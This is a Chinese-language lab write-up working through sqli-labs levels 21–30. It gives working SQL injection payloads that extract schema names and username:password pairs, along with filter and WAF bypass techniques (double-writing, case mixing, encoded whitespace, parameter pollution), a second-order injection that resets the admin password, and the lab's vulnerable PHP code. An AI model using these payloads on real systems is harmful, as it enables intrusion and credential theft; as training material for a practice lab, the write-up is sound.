[练习]sqli-lab 21~30
sqli-lab less 21~30
这部分的题目注入难度开始提升了 |д` )
burpsuite 花屏重影问题经过换了无数次版本 JDK 和重新下载 bp 仍无法解决,被迫换到 linux 环境,花了一晚上才配好 kali。。
Less-21
依旧是 cookie 注入,不过闭合方式改为了id='1'
其余步骤同 less-20
Less-22
闭合方式改为双引号,其余均与上题相同
Less-23
这题先审计一下代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
这关过滤了“#”和 "--" 两个注释符
有查询回显和报错,可以使用联合注入和报错,这里用联合注入
可以在注入语句末尾加上单引号,构造闭合语句
同时从这关开始 sql 语句变成这样
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
SELECT 的是 * 了,因为在进行注入查询的时候,往往只需要查询表名,字段名和账号密码等,所以需要在注入语句后面加上where 1=1
或者or 1=1
来构造使语句逻辑恒真不报错。(一开始没意识到这个地方,每关都卡了好久。。。|д`)
先查数据名
?id=0' union select 1,database(),3 or '1'='
查表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() or 1='
查字段名
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or 1='
?id=0' union select 1,2,group_concat(username,":",password) from users where 1 or 1='
Less-24
二次注入
原理简单讲就是,服务器对于单引号,斜杠等没有过滤或者过滤不严谨,将含有敏感字符的数据存入数据库内,导致下次取出的时候造成注入。
直接上 payload
注册账户:
账号:admin'#
密码:admin
修改密码
账号:admin'#
新密码:123456
成功修改账户 admin 的密码
Less-25
这关过滤了 and 和 or,可以用双写绕过
查表名
?id=0' union select 1,database(),3 --+
后续步骤与 less-1 相同,不再赘述
关键代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
/i表示不对大小写敏感
Less-25a
与 25 差不多,屏蔽了错误信息的输入,除无法使用报错注入外,其余步骤均与 less-25 相同
ps:25a 是数字型的注入。。一开始没有想到,尝试闭合了半天都不行。。
Less-26
这关在过滤 and 和 or 的基础上过滤了空格和注释符 (包括 -,#,/,/*),可以使用 url 编码进行转义
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 空格
|| or
&& and
先进行闭合尝试,输入两个单引号闭合成功, 加上括号闭合失败,所以闭合方式就是单引号
?id=1''
查数据库名
?id=0'%a0union%a0select%a01,2,database()'
查表
?id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0oorr'1'='
查字段名
?id=0'%a0union%a0select%a01,2,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0oorr'1'='
查字段内容
?id=0'%a0union%a0select%a01,2,group_concat(username,":",passwoorrd)%a0from%a0users%a0where%a0'1'='1
where '1'='1
作用同or 1='
关键代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
Less-26a
同 25a,26a 屏蔽了报错内容,且闭合方式改为id=('value')
可以使用联合注入和盲注
1 和 1"正常回显,1' 报错,判断为单引号字符型,但是还要判断是否有小括号。
判断小括号有几种方法 (需先判断单双引号):
1.2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。 - 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
2.1')||'1'=('1
- 若查询语句有小括号正确回显,若无小括号错误回显(无回显)
其余步骤均与 less26 相同
关键代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
{
echo '<font color= "#FFFF00">';
//print_r(mysql_error());
echo "</font>";
}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
Less-27
这看样子应该是在上一关的基础上又过滤了 select 和 union
union 可以用双写绕过,select 则是采用大小写绕过
先测试一下,应该是字符型注入,按上面的方法测试一下有没有括号
回显的是 id=2 的账户,可以确定没有小括号
查表名
?id=0'%a0ununionion%a0sElect%a01,2,database()'
查表名
/?id=0'%a0ununionion%a0sElect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0or%a0'1'='
查字段名
?id=0'%a0ununionion%a0sElect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name="users"%a0or%a0'1'='
查字段内容
?id=0'%a0ununionion%a0sElect%a01,2,group_concat(
username,":",password)%a0from%a0users%a0where%a0'1'='1
关键代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
/m为多行匹配
/s默认情况下的圆点.是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,.中包含换行符 \n。
再这里没有什么实际用处
Less-27a
同 27,只是闭合方式改为双引号, 同时屏蔽了报错信息抛出,无法使用报错注入
Less-28
闭合方式改为id=('id')
还有就是正则匹配规则有稍作修改,联合注入的话不能使用 %a0 来代替空格,不过可以使用其他转义字符代替,同时依然不能使用报错注如。不同系统的下转义字符转移的结果可能略有不同,以实际情况为准
查数据库名
?id=0')%0bunion%0bselect %0a1,database(),3%a0or('1')=('1
成功,后续步骤同上
关键代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
\s表示匹配任何空白字符,包括空格、制表符、换页符等等。
Less-28a
标题变成了了 only
测试了一下除了 select 和 union,其他的字符都没有过滤,变简单了 ~
步骤就和上题差不多,但是不用各种麻烦的转义了
关键代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
全注释掉了~
Less-29
这题开始有 WAF 保护了,如果默认直接进 less-29 其实是没有 WAF 保护的,要在 URL 后面加上/login.php
这样才有 WAF 保护
http://127.0.0.1/sqli-labs-master/Less-29/login.php
之前没有接触过 WAF,这题还是先分析一下 WAF 的代码吧
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];//获得字符串"id=...."
$hint=$qs;
$id1=java_implimentation($qs);//把输入先送进这个函数过滤一下
$id=$_GET['id'];
whitelist($id1);//二次过滤
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}
else { echo "Please input the ID as parameter with numeric value";}
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);//匹配单独数字字符,且匹配多次
if($match)
{
}
else
{
header('Location: hacked.php');//如果没匹配到则重定向
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);//以&符号为分隔符,将字符串打散成字符串
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")//如果在输入的前两位匹配到了id
{
$id_value=substr($value,3,30);
return $id_value;//返回'id'后面的字符串
break;
}
}
}
所以这里需要构造两个 id 便可绕过 WAF
?id=1&&id=0' union select 1,2,database() #
后与步骤与以往题目相同,不再重复
Less-30
除了闭合方式外,其他均与 less-29 相同
总结
字符型探测单双引号闭合的方式:在查询数据后面加上单引号或者双引号,如果加一个报错,加两个正常回显,则为该符号闭合
在测试完单双引号闭合后,往往需要再尝试是否使用括号闭合,以括号 + 单引号为例
1.2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。 - 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
2.1')||'1'=('1
- 若查询语句有小括号正确回显,若无小括号错误回显(无回显)
ps:建议两个方法都试一遍保证结果准确性
对于常规过滤的绕过方式:双写绕过,大小写绕过,url 编码绕过
常见的 url 编码
%09 | TAB 键(水平) |
---|---|
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
%0A | 空格 |
|| | or |
&& | and |
这次练习所遇到的正则表达式修饰符和元字符
/m为多行匹配
/s默认情况下的圆点.是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,.中包含换行符 \n。
再这里没有什么实际用处
/i表示不对大小写敏感